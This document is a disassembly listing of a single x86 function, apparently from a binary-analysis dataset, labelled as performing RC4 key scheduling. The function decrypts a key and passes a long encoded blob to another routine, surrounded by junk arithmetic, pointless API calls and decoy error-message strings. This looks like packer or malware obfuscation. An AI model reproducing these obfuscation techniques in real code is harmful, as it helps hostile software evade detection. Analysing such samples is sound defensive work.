Function at 0x6568792c
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xf
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x154]
mov esi, str.The_specified_driver_package_cannot_be_found_on_the_system.
push ebx
sub esp, 0x17c
mov dword [ebp - 0x164], 0x6a304509
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x160], 0x3614f03e
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x65687960
mov eax, dword [0x656a8dec]
xor esi, esi
xor ebx, ebx
xor eax, 0x2d5003d3
mov dword [0x656a9050], eax
call fcn.65693328
mov eax, dword [0x656a9050]
or eax, 0xe933ba4f
imul eax, eax, 0xce71385c
mov dword [0x656a8dec], eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov edi, 0x3b
mov eax, ebx
xor edx, edx
div edi
mov cl, byte [ebp + ebx - 0x118]
movzx eax, byte [ebp + edx - 0x154]
movzx edx, cl
add eax, edx
mov edx, dword [0x656a8dec]
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], al
imul eax, edx, 0x14b6c0bc
inc ebx
mov byte [ebp + esi - 0x118], cl
mov dword [0x656a9050], eax
cmp ebx, 0x100
jne 0x6568799c
xor eax, eax
cmp byte [eax + str.AeWERQueryFileInfo], 0
je 0x65687a26
inc eax
cmp eax, 0x1a0a
jne 0x656879f7
or edx, 0xa82153d6
mov dword [0x656a9050], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
sub eax, 0x1fd15748
mov dword [0x656a8dec], eax
jmp 0x65687a2d
cmp eax, 0xaf3
jle 0x65687a52
mov dword [esp + 0xc], str.AslpFileGetChecksumAttributes
mov dword [esp + 8], str.AslpFileGetChecksumAttributes
mov eax, dword [0x656a8dec]
mov dword [esp], str.AeWERQueryFileInfo
mov dword [esp + 4], eax
call fcn.65694650
mov eax, dword [0x656a8dec]
xor edi, edi
xor esi, esi
xor ebx, ebx
mov edx, eax
or edx, 0x2b4882c7
mov dword [0x656a9050], edx
mov dword [esp + 8], str.The_specified_allocation_lost_its_content.
mov dword [esp + 4], eax
mov dword [esp], str.FindResource_API_exit
call fcn.65694570
mov eax, dword [0x656a8dec]
inc ebx
movzx ebx, bl
or eax, 0x27aa9dde
mov edx, eax
xor eax, 0xc0897aca
mov dword [0x656a9050], eax
mov al, byte [ebp + ebx - 0x118]
xor edx, 0xc1937009
mov dword [0x656a8dec], edx
mov byte [ebp - 0x169], al
add eax, esi
movzx esi, al
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov ecx, str.AslpFileGetChecksumAttributes
mov dword [ebp - 0x170], 0x34d
and eax, 0xc90daae3
lea edx, [eax - 0x5fc70b94]
mov dword [0x656a8dec], eax
mov dword [0x656a9050], edx
movzx edx, word [ecx]
add ecx, 2
test dx, dx
je 0x65687b0b
add dword [ebp - 0x170], edx
cmp dword [ebp - 0x170], 0x2575
jbe 0x65687ae6
mov dword [esp], eax
call fcn.65693ccc
mov eax, dword [0x656a9050]
mov edx, eax
or edx, 0x772e63d4
mov dword [0x656a8dec], edx
mov dword [esp + 4], str.FindResource_API_exit
mov dword [esp], eax
call fcn.65690fb4
mov edx, str.The_specified_allocation_lost_its_content.
mov al, byte [edx]
test al, al
je 0x65687b4f
sub eax, 0x30
cmp al, 9
jbe 0x65687b4c
sub dword [0x656a8dec], 0x19c553d1
jmp 0x65687b4f
inc edx
jmp 0x65687b33
mov al, byte [ebp + esi - 0x118]
or dword [0x656a8dec], 0xb8745ec2
mov byte [ebp + ebx - 0x118], al
mov al, byte [ebp - 0x169]
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x164]
mov byte [ebp + edi - 0x15c], al
inc edi
cmp edi, 8
jne 0x65687a83
mov byte [ebp - 0x154], 0
mov dword [esp], str.Critical_section_address.
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push edx
xor eax, 0xd179ab29
lea edx, [ebp - 0x15c]
mov dword [0x656a8dec], eax
mov dword [esp + 0xc], 8
mov dword [esp + 8], edx
mov dword [esp + 4], 0x1168
mov dword [esp], str.WxlsGf58B15EhqfYuSJd0GBCeFWF6mYMHipHUSqX0ljtchP4mloPjwPA6krBI2LSFEqVYFqYdbBB9yWxpA9aOiKMeBwSoxWB_ea32RYY5LHPHshrjEIbuRDTcvHNw2d6RvItsd8hnoNkY4GZLERuzCqjXvvyA7b1qLf_9eTvFZAk4i9EJeO9gZpqzNLZsV_rV8pyiQN23blME6qpAANhrVM6aL1ckMfuwQuPOi1uhKntxnjhPJa0rNTOm2Y4_xbELLklvJq46XkJmCWHWTucRcNcWLLXzkdlt7UBYcaA6CyTwW10UGV60W_4NLmS7O_dvV5R6Ly7dhQXkJ7k7lB8DKrX97tEWpffZs9glkhRqQkWOtwnSCNVRaiosLj7ACNJQm_rfDt1fDvfm48wvXhsxN4tPwUNrxfpcPwyaLAn_PpwmkIqbQRoW3jWds3ACHxW7yLLxBi3_bn_AUwQS_9UeQkH1ymkW9RsDwVaubr1sSf950QO3nTzoEwgr1glbJxFEjqNiiZyCZpintPE1F_XTbgy1aVjS9nj0hNNTbQEENJDIAMNheq5dZrVY9EVh9Q1Gq0cawN0KsR4DoGCb_KhNWdltEPMVwuJ1mp7da4tYqV4txqTX_AtO1Fp2VddzOR2s8xvKakqFdgaNi0C2Zln3JqJF1jvFjfO7qiCw1_RP45riglPvb5RUnEPfkGRm0f3hKfoWyiyw1_mw3albRBhmRdCK8Q48ompyG7ZjiN6yTKWSJoW5LNKS5jk1gHs499O4qNz4bP109YFeRYG1AM5W6cM2q5rtQupjLuGQG5O_AHEZSAU3Jx14Kz4XPlChu4eOAEplu1ICmo0nkjp3wgrPw0c379OIrb9A4bYvR8DwRaxmPqfDlP8HZ5nloXgHvOLGgK35oM7otTLJCo5tXlEV0ZFxf7S9qgfRXcp87Sk5GP5iw68hwJ_XozognYYRIK5peh_Y7MoGahnJvAymWsupC6Bj5Mm6QF3dCuwWJYrAkyqlek4WdGMISDmsxjkSfVLriuv7FwpY64gJ2_a5_E2NIlgmf9Co9YMyolYPkJfG1Rz0kiVN8gvcZ0Q4vX9gp7uE4LJ9_4tcnZFHCvQE1GO3Jc9uaAl0JpBiSibBPIWs5m8ob1I9dmGaMfJfbyhrzmmqfaPt49TSYFoSyWjY0LwVf_AQLdGwCZdCk92jJc204hc32tCgf1uUtVMhQSHOjI9TV972UKGC6PrjYiNLtavhantPFwMOCfMMntOIAlJPEqohxcx77CD9N4gbVS4tWE4C03ufmWt9Suxg3KTYDrslyJvC9qRtAEfjnQvrMmn6GGZBtmtagyKbP3dPW5TflHRuSj2ksMzVbypHeNri1aoHRVScbuuOAj6_cuc9Q14ouM13XUoOg2Tkhl1oYQX8hLjxd_pSgNJGjFL8xKmOKVPAn7mAKPmMgZ2xJcnM1SGkVf3gO7KEBVuNXVAje1upyi_K_Wan7PiBGEFrgvmgfERugrFCqDsFr1UgaDemURzfYB2YGuA7tJ9CMDJUX5oJefDF9gmcWLH1owT_jOdCsAk__OBYVxk6g2ClKqSPhN5cBUNACGaSvTxbnhjoTBWg0_qhjDlMUMVGq44BuLORY3Pr1mTdaAgf90sj803pG5dYHih2qq5TPs9Gq7qD8yEUaxz03RvfOiddEFPz_B0SDh3oPde5IkCmjkK4iXY5vt1HQMn3PqR8F6rkF8zxTTItcUirgdGUEy3kZejpPSjaFcFrf6e9csmtMTTznUaHX0t8qjDbsyHEJfC2U2fKZL41f7TDCD7z92ixU24Ro2RWBvJR3B5UcEPCOKmP8KLF4D2tB76bnkGSYquPLhVoZ5GyiKkDmEn85ic51xs_HvMZ0splFGEmgYbW0M56WwjG2Ry_Du7VGBRMzRllUm801aEtLV3nYYnHvR8buruDm7Cxu7TDRIrLAhsBCF0Qii7JZpCTCa8WdyfuLgX2vIo2XNd2Jiw5GkP_1MTH8MIVCHPQq5zq9ODlgBcD5Y86AmzpO5mGylvZGTndRzbzZR_YA_02R9B6VGjwrvybGuzDaJ2lOfN9hg6GgQ4a8KuAM_XYE4lksSoY8v8k7Nyp0sXNJCaFhsZtERB912bf8AJaal2vesLbf7l3c7OlzU2sd7LXDsg3EaD7IbHSh_YmCqMmozgKOPT06uRj6Ey53NFXRefC6NxoJdXUn7vQdOudV6U1GUGBFuLCqi5ub2eJWkqavdw5VI7kUunPlVFakQ87tNd2od8O4QCeRXxuz_JPgT4r5kbX7MMMBvl4W6Qqj8CQt1bp2hUXyVx3S6y48ycLvX_Yjq3h_LMXPrCV7y5h81o63Cd_o8Nw1yrdrznC1wdK9IKofVT7be8_GBzs0SAhkV6UtFhzQiQOjFZwUTnfrN1Yzeo4AQf_gVWc_eiJ1gmmRi6bPBYfDulzqSqkUhTXJxfgxNZjLLm6stHt_lZpmZAdndsNLZSQIoXnGrY4NsiyCs6CrdTN08nVFuKcA5wZk53fLvrPlmaS5s4iZqRCj6Ul0e_pUdVYeZBydaifhv5mMnlo0LawmHOvDTqi19rRRGDSTXUQSA6AH7pvZ2YrZUIfUTaITMpMBR9OGBuvMRBl2eEJx8cMXxxxAfkzhJqx0FDddBd3lELZMAHS5iitt4pJOIUYPKnfjnNvJ8vtkYV0J6pjkl2rLjbgwjb9biPj1yhGPuIbuLVwXpjakU7Ua3yEDkts7FIZaHzHoEp_mcUPmZJPyPkzLU3B5e6JoDf5FEZB3HOUJMB7e17bCdFdJGlh6lOONC7HGavFlmhfGFX9_HZc1hep5ErbFgnEFQyEtMkcRX5cqM5412yMN6dOHtRG6zC43r005FlUqlIDFigW1hJ9ywcre7tpgGXHVywArH3cr5ohaDGjNlWKTcAwVjlyvqTEX9OGXYn8EHpdbSW0oNq16bnxWGROosZYmAcnstuMSxaxF4goQus_EyGtOnc4vCEGzDeSfyJXrsojaUOID7HqJ2BKYocE6O9Xb2w10AsKwkBraiNVkGul65d7OoCIX3uPt8pATj0Imi4xqLbS4Y_HdIC2VrgVD56B0rwu80QxFS0F8TGk6oYms8QzS46cgMf0_XCQ8Y_Hmg67AsEYjC1p9_CWrrdVBqjoEvQnavwqLC_NF2aRB5SCEfZjkENb2l3g_KF58KaDJLoTIQqIzRV0sU2VVKR2COAhD0OZORjKAnieqOPQbnjkgD_38xGK1vfmpWteUjH6tlr2Chdjicbh5R8AvN8F_uEOQtCnZN0doo8YeZkxHNym1g1pkjB5xj791mRCm0gSdXflFbx5JpLcyd3yWlsoX9HM0rAalqbVbtTOpQ2Y2Nh0kt5bKHD3xmmXJY7Ec744ccm6IpdEV_EaPkrSLkyb_L957FLHp1s0RdZoVLXYLokKKEv4LygOBWISsHiIvFCu4KxEh5hdUbht6EsGggGHnw9DpObUuPSeb7coC6EvDx4Hldr416YSfzsbYUeOCf6KlN7fN6oqsOaK0cVAt46pVcTQUvs5DqvKzsaaipz7jxM_i4eMWpQd2w3_63bcFEFG1GfhnratDBgq9yorEt3TxmAzB7BEDzQ_grxV2ZcdQwzRTT3sQpcvXfFO7Fx2rG1RQCb3pHb3Id9v3IgbOdI78l86w5b_OwuAHByh624eciNfkcZGv60dgJu07IZHbkKfoH87TC4sUFD944k0thXotheA2jAfbcXH6XfnyH5Ss6nJOqBHHIw6eMloEThnhkP1sg8FS9dWMXU3XWDaO_WnP99ZrF0S0sk1R_6yqi_agJlPTfnlNW2bTd8p66mxPo_zadXKfUo96AOV48s6WpWEKztuyTIXjenuklEaghBS5ByCaL7gQt6m2hOWAS5cfBfFBv72zAFhyOKnbX7BC6rpVDifBG_wcEo9iX7L2Ii2BN7aDJkyNSAKWHLX0EqHLQaIDWn5rj1EzRbfla0GE3Hzo3a0ZxeFQGO1H7eS36bAHhcfVRX4xfWXTo3Q1cdAE4ySit79
call fcn.6568bff8
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret